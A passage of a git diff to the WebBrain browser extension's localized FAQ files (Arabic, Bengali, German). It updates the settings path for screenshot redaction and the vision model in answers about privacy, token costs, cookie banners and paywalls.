- "faq.screenshot_redaction.a_html": "<p>لا — فهو يقلّل من التعرّض ولا يُعدّ ضمانًا. عند تفعيله (<strong>الإعدادات ← متعدّد الوسائط ← تعتيم لقطات الشاشة</strong>، معطّل افتراضيًا)، يقوم WebBrain بتغبيش حقول النماذج والنص الذي يبدو كعنوان بريد إلكتروني أو رقم هاتف في كل لقطة شاشة <em>قبل</em> إرسالها إلى نموذج رؤية. يعمل الكشف بالكامل على جهازك باستخدام استدلالات DOM؛ ولا يُنقل أي شيء إضافي.</p><p><strong>هذا تعتيم بأفضل جهد ومن نوع fail-open.</strong> إذا تعذّر على كاشف التعتيم العمل على صفحة ما — مثلًا مباشرة بعد التنقل، أو في عارضات PDF، أو على صفحات المتصفح المقيّدة — فستُرسل لقطة الشاشة كما هي <em>دون تعتيم</em> بدلًا من إلغاء مهمتك. المحتوى الذي لا تستطيع استدلالات DOM رؤيته (نص مرسوم على عنصر canvas، بيانات شخصية داخل الصور، عناصر واجهة غير معتادة) قد يفلت أيضًا. كما أن الإعداد يغطي لقطات الشاشة فقط: نص الصفحة المُرسل إلى النموذج لا يُعتَّم به.</p><p><strong>للحصول على خصوصية كاملة في الرؤية، استخدم نموذجًا محليًا.</strong> مع مزوّد دون اتصال مثل llama.cpp أو Ollama، لا تغادر لقطات الشاشة ونص الصفحة جهازك أبدًا، وبالتالي لا يوجد شيء لتعتيمه أصلًا — وهذا هو الإعداد الوحيد الذي تُضمن فيه الخصوصية. راجع \"هل يمكنني استخدام WebBrain بدون اتصال بالإنترنت بالكامل؟\" أعلاه.</p><p><strong>ليس لديك جهاز قادر على تشغيل نموذج محلي يدعم الرؤية؟</strong> حلّ وسط جيد هو استخدام نموذج محلي صغير للتخطيط واستدعاء الأدوات (خفيف بما يكفي لمعالج/بطاقة رسومات متواضعة) مع مزوّد سحابي لاستدعاءات الرؤية الفرعية، مع تفعيل تعتيم لقطات الشاشة. يبقى حديثك ونص الصفحة على جهازك، وكل لقطة شاشة تُرسَل إلى الرؤية السحابية تكون قد غُبِّشت فيها حقول النماذج والبريد/الهاتف المكتشَف مسبقًا — تعرّض أقل في السحابة دون الحاجة إلى عتاد لنموذج رؤية محلي كامل. اضبط هذا التقسيم ضمن <strong>الإعدادات ← الرؤية</strong> (راجع \"كيف يُبقي WebBrain فواتير LLM السحابية تحت السيطرة؟\" أعلاه).</p>",
+ "faq.screenshot_redaction.a_html": "<p>لا — فهو يقلّل من التعرّض ولا يُعدّ ضمانًا. عند تفعيله (<strong>الإعدادات ← النماذج المساعدة ← الرؤية ← تعتيم لقطات الشاشة</strong>، معطّل افتراضيًا)، يقوم WebBrain بتغبيش حقول النماذج والنص الذي يبدو كعنوان بريد إلكتروني أو رقم هاتف في كل لقطة شاشة <em>قبل</em> إرسالها إلى نموذج رؤية. يعمل الكشف بالكامل على جهازك باستخدام استدلالات DOM؛ ولا يُنقل أي شيء إضافي.</p><p><strong>هذا تعتيم بأفضل جهد ومن نوع fail-open.</strong> إذا تعذّر على كاشف التعتيم العمل على صفحة ما — مثلًا مباشرة بعد التنقل، أو في عارضات PDF، أو على صفحات المتصفح المقيّدة — فستُرسل لقطة الشاشة كما هي <em>دون تعتيم</em> بدلًا من إلغاء مهمتك. المحتوى الذي لا تستطيع استدلالات DOM رؤيته (نص مرسوم على عنصر canvas، بيانات شخصية داخل الصور، عناصر واجهة غير معتادة) قد يفلت أيضًا. كما أن الإعداد يغطي لقطات الشاشة فقط: نص الصفحة المُرسل إلى النموذج لا يُعتَّم به.</p><p><strong>للحصول على خصوصية كاملة في الرؤية، استخدم نموذجًا محليًا.</strong> مع مزوّد دون اتصال مثل llama.cpp أو Ollama، لا تغادر لقطات الشاشة ونص الصفحة جهازك أبدًا، وبالتالي لا يوجد شيء لتعتيمه أصلًا — وهذا هو الإعداد الوحيد الذي تُضمن فيه الخصوصية. راجع \"هل يمكنني استخدام WebBrain بدون اتصال بالإنترنت بالكامل؟\" أعلاه.</p><p><strong>ليس لديك جهاز قادر على تشغيل نموذج محلي يدعم الرؤية؟</strong> حلّ وسط جيد هو استخدام نموذج محلي صغير للتخطيط واستدعاء الأدوات (خفيف بما يكفي لمعالج/بطاقة رسومات متواضعة) مع مزوّد سحابي لاستدعاءات الرؤية الفرعية، مع تفعيل تعتيم لقطات الشاشة. يبقى حديثك ونص الصفحة على جهازك، وكل لقطة شاشة تُرسَل إلى الرؤية السحابية تكون قد غُبِّشت فيها حقول النماذج والبريد/الهاتف المكتشَف مسبقًا — تعرّض أقل في السحابة دون الحاجة إلى عتاد لنموذج رؤية محلي كامل. اضبط هذا التقسيم ضمن <strong>الإعدادات ← النماذج المساعدة ← الرؤية</strong> (راجع \"كيف يُبقي WebBrain فواتير LLM السحابية تحت السيطرة؟\" أعلاه).</p>",
"faq.cookies_paywalls.q": "ماذا يفعل WebBrain بلافتات Cookies وحوائط الدفع؟",
"faq.cookies_paywalls.a_html": "<p><strong>لافتات Cookies:</strong> يتعرّف WebBrain على لافتات الموافقة من الأطر الشائعة (OneTrust، Cookiebot، Didomi، Quantcast، Google Funding Choices، TrustArc) ويُغلقها قبل التفكير في الصفحة. الأولوية لـ «رفض الكل» / «رفض غير الأساسي» / «الضروري فقط» إذا كان واضحًا؛ ويعود إلى «قبول الكل» بدلًا من الضياع في متاهة «إدارة التفضيلات».</p><p><strong>حوائط الدفع:</strong> يُبلِغ WebBrain بصدق عن وجود حائط دفع ويُخبرك بما رآه فعلًا (العنوان، العنوان الفرعي، الفقرات الأولى). <strong>لا</strong> يحاول تجاوز حوائط الدفع — لا archive.today، ولا 12ft.io، ولا حذف Cookies، ولا تعطيل JS، ولا حيل وضع القارئ. إن أردت المقال كاملًا، فسجّل دخولًا باشتراك أو اطلب من WebBrain البحث عن تغطية مجانية للقصة نفسها.</p>",
"faq.multilingual.q": "هل يدعم WebBrain وضع dry-run؟",
@@ -314,7 +314,7 @@
"faq.offline_licensing.q": "Why is WebBrain 33.0.0 and later GPL-licensed?",
"faq.offline_licensing.a_html": "<p>WebBrain 33.0.0 and later is distributed under GPL-3.0-or-later because the browser extension bundles and integrates the GPL-licensed Xapian/libzim WebAssembly runtime for full-text Wikipedia ZIM search.</p><p>The extension packages include the applicable GPL notices, and complete corresponding source for the bundled runtime is published alongside each release. Releases before 33.0.0 remain MIT-licensed, and independently published subprojects and third-party components retain their stated licenses. See the <a href=\"https://github.com/webbrain-one/webbrain/blob/main/docs/offline-rag-licensing.md\" target=\"_blank\">licensing decision record</a> for details.</p>",
"faq.token_conscious.q": "كيف يُبقي WebBrain فواتير LLM السحابية تحت السيطرة؟",
- "faq.token_conscious.a_html": "<p>ثلاث طبقات مستقلة:</p><p><strong>لقطات شاشة موفّرة للرموز.</strong> قبل أن تغادر أي صورة جهازك، يُعيد WebBrain تحجيمها (الجانب الأقصر محدّد مع الحفاظ على نسبة الأبعاد) ويضغطها بصيغة JPEG تكراريًا حتى تتسع لميزانية رموز الصور لكل دور. لقطة شاشة 2000×1200 كانت ستكلّفك نحو 1500 رمز إدخال على GPT-4o يتمّ ضغطها إلى ~300–500 رمز دون خسارة عملية لمهمات قراءة الصفحات. مُنفّذ في <code>_fitImageDimensions</code> مع اختبارات وحدة لحسابات الميزانية.</p><p><strong>تقصّ ذكي للسياق.</strong> تاريخ المحادثة، مخرجات الأدوات، وعمليات تفريغ DOM المضمّنة، كلّها مقيّدة لكل دور وتُقصّ من الأقدم أولًا عندما تقترب نافذة سياق الموديل النشط من الامتلاء. لن ترى تشغيلًا يتضخّم بصمت من 10 آلاف رمز إلى 100 ألف لمجرد أن <code>read_page</code> أعاد مقالًا بطول رواية.</p><p><strong>نموذج رؤية مخصّص.</strong> اقرن نموذجًا نصيًا رخيصًا (مثل GPT-4o-mini) للتخطيط واستدعاء الأدوات بنموذج منفصل يدعم الرؤية (مثل GPT-4o) فقط للقطات الشاشة، فلا تدفع أسعار النماذج المتعدّدة الوسائط في كل دور. إعداده ضمن <strong>الإعدادات ← الرؤية</strong>.</p><p>النتيجة: الجلسات الطويلة مع مزوّدي السحابة تبقى قابلة للتنبؤ. للسيطرة الكاملة، استخدم llama.cpp محليًا — تكلفة الرموز صفر.</p>",
+ "faq.token_conscious.a_html": "<p>ثلاث طبقات مستقلة:</p><p><strong>لقطات شاشة موفّرة للرموز.</strong> قبل أن تغادر أي صورة جهازك، يُعيد WebBrain تحجيمها (الجانب الأقصر محدّد مع الحفاظ على نسبة الأبعاد) ويضغطها بصيغة JPEG تكراريًا حتى تتسع لميزانية رموز الصور لكل دور. لقطة شاشة 2000×1200 كانت ستكلّفك نحو 1500 رمز إدخال على GPT-4o يتمّ ضغطها إلى ~300–500 رمز دون خسارة عملية لمهمات قراءة الصفحات. مُنفّذ في <code>_fitImageDimensions</code> مع اختبارات وحدة لحسابات الميزانية.</p><p><strong>تقصّ ذكي للسياق.</strong> تاريخ المحادثة، مخرجات الأدوات، وعمليات تفريغ DOM المضمّنة، كلّها مقيّدة لكل دور وتُقصّ من الأقدم أولًا عندما تقترب نافذة سياق الموديل النشط من الامتلاء. لن ترى تشغيلًا يتضخّم بصمت من 10 آلاف رمز إلى 100 ألف لمجرد أن <code>read_page</code> أعاد مقالًا بطول رواية.</p><p><strong>نموذج رؤية مخصّص.</strong> اقرن نموذجًا نصيًا رخيصًا (مثل GPT-4o-mini) للتخطيط واستدعاء الأدوات بنموذج منفصل يدعم الرؤية (مثل GPT-4o) فقط للقطات الشاشة، فلا تدفع أسعار النماذج المتعدّدة الوسائط في كل دور. إعداده ضمن <strong>الإعدادات ← النماذج المساعدة ← الرؤية</strong>.</p><p>النتيجة: الجلسات الطويلة مع مزوّدي السحابة تبقى قابلة للتنبؤ. للسيطرة الكاملة، استخدم llama.cpp محليًا — تكلفة الرموز صفر.</p>",
"faq.contribute.q": "هل يمكنني المساهمة في WebBrain؟",
"faq.contribute.a_html": "بالتأكيد! WebBrain تحت رخصة GPL-3.0-or-later ويرحّب بالمساهمات. اطلع على <a href=\"https://github.com/webbrain-one/webbrain\" target=\"_blank\">مستودع GitHub</a> للاطلاع على القضايا وطلبات الميزات وإرشادات المساهمة.",
"oss.title": "مفتوح المصدر 100%",
diff --git a/web/build/locales/bn.json b/web/build/locales/bn.json
index f9ed96d9d..85448bf13 100644
--- a/web/build/locales/bn.json
+++ b/web/build/locales/bn.json
@@ -304,7 +304,7 @@
"faq.profile.q": "প্রোফাইল স্বয়ংক্রিয়ভাবে পূরণ কিভাবে কাজ করে, এবং এটি নিরাপদ?",
"faq.profile.a_html": "<p>প্রোফাইল অটো-ফিল হল একটি ঐচ্ছিক বৈশিষ্ট্য <strong>সেটিংস → প্রোফাইল</strong>. আপনি একটি সংক্ষিপ্ত জীবনী লিখুন — নাম, কাজের ইমেল, কোম্পানি, এবং ক <em>নিক্ষেপ</em> কম-স্টেকের সাইনআপের জন্য পাসওয়ার্ড — এবং এটিকে টগল করুন। সক্রিয় করা হলে, WebBrain সেই পাঠ্যটিকে এজেন্টের সিস্টেম প্রম্পটে যুক্ত করে যাতে এটি প্রতিবার জিজ্ঞাসা না করে সাইনআপ ফর্মগুলি পূরণ করতে পারে৷</p><p>টেক্সট সংরক্ষণ করা হয় <strong>প্লেইনটেক্সট</strong> আপনার ব্রাউজারের স্থানীয় স্টোরেজে। এটা <strong>না</strong> WebBrain প্রকল্পে প্রেরণ করা হয়েছে, কিন্তু এটি <strong>হয়</strong> সিস্টেম প্রম্পটের অংশ হিসাবে প্রতিটি মোড়ে আপনি যে LLM প্রদানকারীকে কনফিগার করেছেন তার কাছে পাঠানো হয়েছে। ডিফল্টরূপে বন্ধ।</p><p><strong>গুরুত্বপূর্ণ অ্যাকাউন্টের জন্য পাসওয়ার্ড রাখবেন না</strong> (Google, Apple, iCloud, banking, work SSO, প্রাথমিক ইমেল) এখানে। এই অ্যাকাউন্টগুলি 2FA ব্যবহার করা উচিত এবং যাইহোক কোনও এজেন্টের কাছে হস্তান্তর করা উচিত নয়। নিউজলেটার সাইনআপ এবং বিনামূল্যে ট্রায়ালের জন্য আপনি যে পাসওয়ার্ডটি পুনঃব্যবহার করেন তা হল উদ্দেশ্যমূলক ব্যবহারের ক্ষেত্রে৷</p>",
"faq.screenshot_redaction.q": "স্ক্রিনশট রিডাকশন সেটিং কি গ্যারান্টি দেয় যে আমার ব্যক্তিগত ডেটা কখনই ক্লাউড ভিশন মডেলে পৌঁছাবে না?",
- "faq.screenshot_redaction.a_html": "<p>না - এটি এক্সপোজার হ্রাস করে, এটি একটি গ্যারান্টি নয়। যখন সক্রিয় (<strong>সেটিংস → মাল্টিমোডাল → স্ক্রিনশট রিডাকশন</strong>, ডিফল্টরূপে বন্ধ), WebBrain পিক্সেলেট ক্ষেত্র এবং পাঠ্য গঠন করে যা প্রতিটি স্ক্রিনশটে একটি ইমেল ঠিকানা বা ফোন নম্বরের মতো দেখায় <em>আগে</em> এটি একটি দৃষ্টি মডেল পাঠানো হয়. DOM হিউরিস্টিকস ব্যবহার করে সনাক্তকরণ সম্পূর্ণরূপে আপনার ডিভাইসে চলে; অতিরিক্ত কিছুই প্রেরণ করা হয় না।</p><p><strong>এটি সর্বোত্তম-প্রচেষ্টা এবং ব্যর্থ-খোলা।</strong> যদি ডিটেক্টর একটি পৃষ্ঠায় চলতে না পারে - উদাহরণস্বরূপ একটি নেভিগেশনের পরপরই, পিডিএফ ভিউয়ারে বা সীমাবদ্ধ ব্রাউজার পৃষ্ঠাগুলিতে - স্ক্রিনশট এখনও পাঠানো হয় <em>unredacted</em> আপনার কাজ বাতিল করার পরিবর্তে। DOM হিউরিস্টিকস যে বিষয়বস্তু দেখতে পারে না (ক্যানভাসে আঁকা পাঠ্য, চিত্রের ভিতরে PII, অস্বাভাবিক উইজেট) এছাড়াও স্লিপ হতে পারে। এবং সেটিং শুধুমাত্র স্ক্রিনশট কভার করে: পৃষ্ঠা <em>পাঠ্য</em> মডেল পাঠানো এটি দ্বারা সংশোধন করা হয় না.</p><p><strong>সম্পূর্ণ দৃষ্টি গোপনীয়তার জন্য, একটি স্থানীয় মডেল ব্যবহার করুন.</strong> অফলাইন প্রদানকারীর সাথে যেমন llama.cpp বা Ollama, স্ক্রিনশট এবং পৃষ্ঠার পাঠ্য কখনই আপনার মেশিন থেকে যায় না, তাই প্রথম স্থানে সংশোধন করার কিছু নেই — এটিই একমাত্র কনফিগারেশন যেখানে গোপনীয়তা নিশ্চিত করা হয়৷ দেখুন \"আমি কি পুরোপুরি অফলাইনে WebBrain ব্যবহার করতে পারি?\" উপরে</p><p><strong>এমন একটি মেশিন নেই যা একটি দৃষ্টি-সক্ষম স্থানীয় মডেল চালাতে পারে?</strong> একটি ভাল মিডল গ্রাউন্ড হল পরিকল্পনা এবং টুল কলের জন্য একটি ছোট স্থানীয় মডেল (একটি পরিমিত CPU/GPU-এর জন্য যথেষ্ট দ্রুত এবং হালকা) যা ভিশন সাব-কলের জন্য একটি ক্লাউড প্রদানকারীর সাথে যুক্ত, স্ক্রিনশট রিডাকশন চালু আছে। আপনি এখনও ডিভাইসে আপনার কথোপকথন এবং পৃষ্ঠার পাঠ্য রাখেন এবং ক্লাউড ভিশনের জন্য ছেড়ে যাওয়া প্রতিটি স্ক্রিনশটের ফর্ম ক্ষেত্র রয়েছে এবং সনাক্ত করা ইমেল/ফোনগুলি প্রথমে ঝাপসা করা হয়েছে — সম্পূর্ণ স্থানীয় দৃষ্টি মডেলের জন্য হার্ডওয়্যারের প্রয়োজন ছাড়াই ক্লাউড এক্সপোজার হ্রাস করা হয়েছে। অধীনে দৃষ্টি বিভক্ত কনফিগার করুন <strong>সেটিংস → দৃষ্টি</strong> (উপরে দেখুন \"কিভাবে WebBrain ক্লাউড LLM বিল নিয়ন্ত্রণে রাখে?\"</p>",
+ "faq.screenshot_redaction.a_html": "<p>না - এটি এক্সপোজার হ্রাস করে, এটি একটি গ্যারান্টি নয়। যখন সক্রিয় (<strong>সেটিংস → সহায়ক মডেল → দৃষ্টি → স্ক্রিনশট রিডাকশন</strong>, ডিফল্টরূপে বন্ধ), WebBrain পিক্সেলেট ক্ষেত্র এবং পাঠ্য গঠন করে যা প্রতিটি স্ক্রিনশটে একটি ইমেল ঠিকানা বা ফোন নম্বরের মতো দেখায় <em>আগে</em> এটি একটি দৃষ্টি মডেল পাঠানো হয়. DOM হিউরিস্টিকস ব্যবহার করে সনাক্তকরণ সম্পূর্ণরূপে আপনার ডিভাইসে চলে; অতিরিক্ত কিছুই প্রেরণ করা হয় না।</p><p><strong>এটি সর্বোত্তম-প্রচেষ্টা এবং ব্যর্থ-খোলা।</strong> যদি ডিটেক্টর একটি পৃষ্ঠায় চলতে না পারে - উদাহরণস্বরূপ একটি নেভিগেশনের পরপরই, পিডিএফ ভিউয়ারে বা সীমাবদ্ধ ব্রাউজার পৃষ্ঠাগুলিতে - স্ক্রিনশট এখনও পাঠানো হয় <em>unredacted</em> আপনার কাজ বাতিল করার পরিবর্তে। DOM হিউরিস্টিকস যে বিষয়বস্তু দেখতে পারে না (ক্যানভাসে আঁকা পাঠ্য, চিত্রের ভিতরে PII, অস্বাভাবিক উইজেট) এছাড়াও স্লিপ হতে পারে। এবং সেটিং শুধুমাত্র স্ক্রিনশট কভার করে: পৃষ্ঠা <em>পাঠ্য</em> মডেল পাঠানো এটি দ্বারা সংশোধন করা হয় না.</p><p><strong>সম্পূর্ণ দৃষ্টি গোপনীয়তার জন্য, একটি স্থানীয় মডেল ব্যবহার করুন.</strong> অফলাইন প্রদানকারীর সাথে যেমন llama.cpp বা Ollama, স্ক্রিনশট এবং পৃষ্ঠার পাঠ্য কখনই আপনার মেশিন থেকে যায় না, তাই প্রথম স্থানে সংশোধন করার কিছু নেই — এটিই একমাত্র কনফিগারেশন যেখানে গোপনীয়তা নিশ্চিত করা হয়৷ দেখুন \"আমি কি পুরোপুরি অফলাইনে WebBrain ব্যবহার করতে পারি?\" উপরে</p><p><strong>এমন একটি মেশিন নেই যা একটি দৃষ্টি-সক্ষম স্থানীয় মডেল চালাতে পারে?</strong> একটি ভাল মিডল গ্রাউন্ড হল পরিকল্পনা এবং টুল কলের জন্য একটি ছোট স্থানীয় মডেল (একটি পরিমিত CPU/GPU-এর জন্য যথেষ্ট দ্রুত এবং হালকা) যা ভিশন সাব-কলের জন্য একটি ক্লাউড প্রদানকারীর সাথে যুক্ত, স্ক্রিনশট রিডাকশন চালু আছে। আপনি এখনও ডিভাইসে আপনার কথোপকথন এবং পৃষ্ঠার পাঠ্য রাখেন এবং ক্লাউড ভিশনের জন্য ছেড়ে যাওয়া প্রতিটি স্ক্রিনশটের ফর্ম ক্ষেত্র রয়েছে এবং সনাক্ত করা ইমেল/ফোনগুলি প্রথমে ঝাপসা করা হয়েছে — সম্পূর্ণ স্থানীয় দৃষ্টি মডেলের জন্য হার্ডওয়্যারের প্রয়োজন ছাড়াই ক্লাউড এক্সপোজার হ্রাস করা হয়েছে। অধীনে দৃষ্টি বিভক্ত কনফিগার করুন <strong>সেটিংস → সহায়ক মডেল → দৃষ্টি</strong> (উপরে দেখুন \"কিভাবে WebBrain ক্লাউড LLM বিল নিয়ন্ত্রণে রাখে?\"</p>",
"faq.cookies_paywalls.q": "WebBrain কুকি ব্যানার এবং পেওয়ালের সাথে কি করে?",
"faq.cookies_paywalls.a_html": "<p><strong>কুকি ব্যানার:</strong> WebBrain সাধারণ ফ্রেমওয়ার্ক (OneTrust, Cookiebot, Didomi, Quantcast, Google Funding Choices, TrustArc) থেকে সম্মতি ব্যানারগুলিকে স্বীকৃতি দেয় এবং পৃষ্ঠা সম্পর্কে যুক্তি দেওয়ার আগে সেগুলিকে খারিজ করে দেয়। অগ্রাধিকার হল \"সমস্ত প্রত্যাখ্যান করুন\" / \"অপ্রয়োজনীয় প্রত্যাখ্যান করুন\" / \"শুধুমাত্র প্রয়োজনীয়\" যখন স্পষ্টভাবে দৃশ্যমান হয়; এটি \"অভিরুচি পরিচালনা করুন\" গোলকধাঁধায় অদৃশ্য হয়ে যাওয়ার পরিবর্তে \"সব স্বীকার করুন\" এ ফিরে আসে।</p><p><strong>পেওয়াল:</strong> WebBrain সততার সাথে পেওয়ালের রিপোর্ট করে এবং আপনাকে বলে যে এটি আসলে কী দেখতে পারে (শিরোনাম, ডেক, প্রথম অনুচ্ছেদ)। এটা করে <strong>না</strong> পেওয়াল বাইপাস করার চেষ্টা করুন — কোনো archive.today, 12ft.io, কুকি ক্লিয়ারিং, JS অক্ষম করা বা রিডার-মোড কৌশল নেই। আপনি যদি সম্পূর্ণ নিবন্ধটি চান, একটি সদস্যতার সাথে লগ ইন করুন বা একই গল্পের বিনামূল্যে কভারেজ দেখতে WebBrain কে জিজ্ঞাসা করুন৷</p>",
"faq.multilingual.q": "WebBrain কি ড্রাই-রান মোড সমর্থন করে?",
@@ -314,7 +314,7 @@
"faq.offline_licensing.q": "Why is WebBrain 33.0.0 and later GPL-licensed?",
"faq.offline_licensing.a_html": "<p>WebBrain 33.0.0 and later is distributed under GPL-3.0-or-later because the browser extension bundles and integrates the GPL-licensed Xapian/libzim WebAssembly runtime for full-text Wikipedia ZIM search.</p><p>The extension packages include the applicable GPL notices, and complete corresponding source for the bundled runtime is published alongside each release. Releases before 33.0.0 remain MIT-licensed, and independently published subprojects and third-party components retain their stated licenses. See the <a href=\"https://github.com/webbrain-one/webbrain/blob/main/docs/offline-rag-licensing.md\" target=\"_blank\">licensing decision record</a> for details.</p>",
"faq.token_conscious.q": "কিভাবে WebBrain ক্লাউড এলএলএম বিল নিয়ন্ত্রণে রাখে?",
- "faq.token_conscious.a_html": "<p>তিনটি স্বাধীন স্তর:</p><p><strong>টোকেন-সচেতন স্ক্রিনশট।</strong> কোনো ছবি আপনার মেশিন ছেড়ে যাওয়ার আগে, WebBrain এটির আকার পরিবর্তন করে (সংক্ষিপ্ত সাইড ক্যাপড, অ্যাসপেক্ট রেশিও সংরক্ষণ করে) এবং পুনরাবৃত্তিমূলকভাবে JPEG-সংকুচিত করে যতক্ষণ না এটি প্রতি-টার্ন ইমেজ-টোকেন বাজেটে ফিট করে। একটি 2000×1200 স্ক্রিনশট যেটির জন্য আপনার GPT-4o তে ~1,500 ইনপুট টোকেন খরচ হবে ~300-500 টোকেনে কম্প্রেস হয়ে পৃষ্ঠা-পড়ার কাজগুলির জন্য কোনও ব্যবহারিক ক্ষতি ছাড়াই। তে বাস্তবায়িত হয় <code>_fitImageDimensions</code> বাজেট গণিত জন্য ইউনিট পরীক্ষার সঙ্গে.</p><p><strong>স্মার্ট প্রসঙ্গ ছাঁটাই।</strong> কথোপকথনের ইতিহাস, টুল আউটপুট, এবং ইনলাইন DOM ডাম্পগুলি প্রতি টার্নে আবদ্ধ থাকে এবং সক্রিয় মডেলের প্রসঙ্গ উইন্ডোটি পূর্ণ হওয়ার সময় সবচেয়ে পুরনো-প্রথম ছাঁটাই করা হয়। আপনি 10k টোকেন থেকে 100k পর্যন্ত নীরবে বেলুন চালাতে দেখতে পাবেন না কারণ একটি <code>read_page</code> একটি উপন্যাস-দৈর্ঘ্য নিবন্ধ ফিরে.</p><p><strong>ডেডিকেটেড ভিশন মডেল।</strong> শুধুমাত্র স্ক্রিনশটগুলির জন্য একটি পৃথক দৃষ্টি-সক্ষম মডেলের (যেমন GPT-4o) সাথে পরিকল্পনা এবং টুল কলের জন্য একটি সস্তা টেক্সট মডেল (যেমন GPT-4o-mini) যুক্ত করুন, তাই আপনি প্রতিটি একক মোড়তে মাল্টিমোডাল-মডেল মূল্য পরিশোধ করবেন না৷ অধীনে কনফিগার করুন <strong>সেটিংস → দৃষ্টি</strong>.</p><p>নেট ফলাফল: ক্লাউড প্রদানকারীদের সাথে দীর্ঘ সেশন অনুমানযোগ্য থাকে। সম্পূর্ণ নিয়ন্ত্রণের জন্য, স্থানীয়ভাবে llama.cpp ব্যবহার করুন — টোকেন প্রতি শূন্য খরচ।</p>",
+ "faq.token_conscious.a_html": "<p>তিনটি স্বাধীন স্তর:</p><p><strong>টোকেন-সচেতন স্ক্রিনশট।</strong> কোনো ছবি আপনার মেশিন ছেড়ে যাওয়ার আগে, WebBrain এটির আকার পরিবর্তন করে (সংক্ষিপ্ত সাইড ক্যাপড, অ্যাসপেক্ট রেশিও সংরক্ষণ করে) এবং পুনরাবৃত্তিমূলকভাবে JPEG-সংকুচিত করে যতক্ষণ না এটি প্রতি-টার্ন ইমেজ-টোকেন বাজেটে ফিট করে। একটি 2000×1200 স্ক্রিনশট যেটির জন্য আপনার GPT-4o তে ~1,500 ইনপুট টোকেন খরচ হবে ~300-500 টোকেনে কম্প্রেস হয়ে পৃষ্ঠা-পড়ার কাজগুলির জন্য কোনও ব্যবহারিক ক্ষতি ছাড়াই। তে বাস্তবায়িত হয় <code>_fitImageDimensions</code> বাজেট গণিত জন্য ইউনিট পরীক্ষার সঙ্গে.</p><p><strong>স্মার্ট প্রসঙ্গ ছাঁটাই।</strong> কথোপকথনের ইতিহাস, টুল আউটপুট, এবং ইনলাইন DOM ডাম্পগুলি প্রতি টার্নে আবদ্ধ থাকে এবং সক্রিয় মডেলের প্রসঙ্গ উইন্ডোটি পূর্ণ হওয়ার সময় সবচেয়ে পুরনো-প্রথম ছাঁটাই করা হয়। আপনি 10k টোকেন থেকে 100k পর্যন্ত নীরবে বেলুন চালাতে দেখতে পাবেন না কারণ একটি <code>read_page</code> একটি উপন্যাস-দৈর্ঘ্য নিবন্ধ ফিরে.</p><p><strong>ডেডিকেটেড ভিশন মডেল।</strong> শুধুমাত্র স্ক্রিনশটগুলির জন্য একটি পৃথক দৃষ্টি-সক্ষম মডেলের (যেমন GPT-4o) সাথে পরিকল্পনা এবং টুল কলের জন্য একটি সস্তা টেক্সট মডেল (যেমন GPT-4o-mini) যুক্ত করুন, তাই আপনি প্রতিটি একক মোড়তে মাল্টিমোডাল-মডেল মূল্য পরিশোধ করবেন না৷ অধীনে কনফিগার করুন <strong>সেটিংস → সহায়ক মডেল → দৃষ্টি</strong>.</p><p>নেট ফলাফল: ক্লাউড প্রদানকারীদের সাথে দীর্ঘ সেশন অনুমানযোগ্য থাকে। সম্পূর্ণ নিয়ন্ত্রণের জন্য, স্থানীয়ভাবে llama.cpp ব্যবহার করুন — টোকেন প্রতি শূন্য খরচ।</p>",
"faq.contribute.q": "আমি কি WebBrain তে অবদান রাখতে পারি?",
"faq.contribute.a_html": "একেবারেই! WebBrain হল GPL-3.0-or-later- লাইসেন্সপ্রাপ্ত এবং অবদানকে স্বাগত জানায়। চেক আউট <a href=\"https://github.com/webbrain-one/webbrain\" target=\"_blank\">GitHub সংগ্রহস্থল</a> সমস্যা, বৈশিষ্ট্য অনুরোধ, এবং অবদান নির্দেশিকা জন্য.",
"oss.title": "100% ওপেন সোর্স",
diff --git a/web/build/locales/de.json b/web/build/locales/de.json
index bac9101a4..3fe38a8a5 100644
--- a/web/build/locales/de.json
+++ b/web/build/locales/de.json
@@ -304,7 +304,7 @@
"faq.profile.q": "Wie funktioniert die Profil-Autoausfüllung und ist sie sicher?",
"faq.profile.a_html": "<p>Die Profil-Autoausfüllung ist eine optionale Funktion unter <strong>Einstellungen → Profil</strong>. Sie geben eine kurze Biografie ein — Name, Arbeits-E-Mail, Unternehmen und ein <em>Wegwerf</em>-Passwort für unkomplizierte Anmeldungen — und aktivieren sie. Wenn aktiviert, fügt WebBrain diesen Text dem System-Prompt des Agenten hinzu, damit er Anmeldeformulare ausfüllen kann, ohne jedes Mal zu fragen.</p><p>Der Text wird <strong>in Klartext</strong> im lokalen Speicher Ihres Browsers gespeichert. Er wird <strong>nicht</strong> an das WebBrain-Projekt übertragen, aber er <strong>wird</strong> an jeden LLM-Anbieter, den Sie konfiguriert haben, bei jedem Durchgang als Teil des System-Prompts gesendet. Standardmäßig deaktiviert.</p><p><strong>Geben Sie hier keine Passwörter für wichtige Konten</strong> ein (Google, Apple, iCloud, Banken, Arbeits-SSO, Haupt-E-Mail). Diese Konten sollten Zwei-Faktor-Authentifizierung verwenden und sollten ohnehin nicht an einen Agenten übergeben werden. Ein Wegwerfpasswort, das Sie für Newsletter-Anmeldungen und kostenlose Testversionen wiederverwenden, ist der vorgesehene Anwendungsfall.</p>",
"faq.screenshot_redaction.q": "Garantiert die Screenshot-Retuschiereinstellung, dass meine Privatdaten nie ein Cloud-Vision-Modell erreichen?",
- "faq.screenshot_redaction.a_html": "<p>Nein — es reduziert die Exposition, es ist keine Garantie. Wenn aktiviert (<strong>Einstellungen → Multimodal → Screenshot-Retuschiereinstellung</strong>, standardmäßig deaktiviert), pixelt WebBrain Formularfelder und Text, der wie eine E-Mail-Adresse oder Telefonnummer aussieht, auf jedem Screenshot <em>bevor</em> es an ein Vision-Modell gesendet wird. Die Erkennung läuft vollständig auf Ihrem Gerät über DOM-Heuristiken; es wird nichts Zusätzliches übertragen.</p><p><strong>Es ist ein Best-Effort-Ansatz mit Fail-Open.</strong> Wenn der Erkennungsdienst nicht auf einer Seite laufen kann — beispielsweise direkt nach einer Navigation, auf PDF-Betrachtern oder auf eingeschränkten Browserseiten — wird das Screenshot trotzdem <em>unretuschiert</em> gesendet, anstatt Ihre Aufgabe abzubrechen. Inhalte, die die DOM-Heuristiken nicht sehen können (auf einem Canvas gezeichneter Text, PII in Bildern, ungewöhnliche Widgets), können ebenfalls durchschlüpfen. Und die Einstellung betrifft nur Screenshots: Seiten<em>text</em>, der an das Modell gesendet wird, wird nicht retuschiert.</p><p><strong>Für vollständige Vision-Privatsphäre verwenden Sie ein lokales Modell.</strong> Mit einem Offline-Anbieter wie llama.cpp oder Ollama verlassen Screenshots und Seitentext Ihre Maschine nie, daher gibt es nichts zu retuschieren — das ist die einzige Konfiguration, bei der Privatsphäre garantiert ist. Siehe \"Kann ich 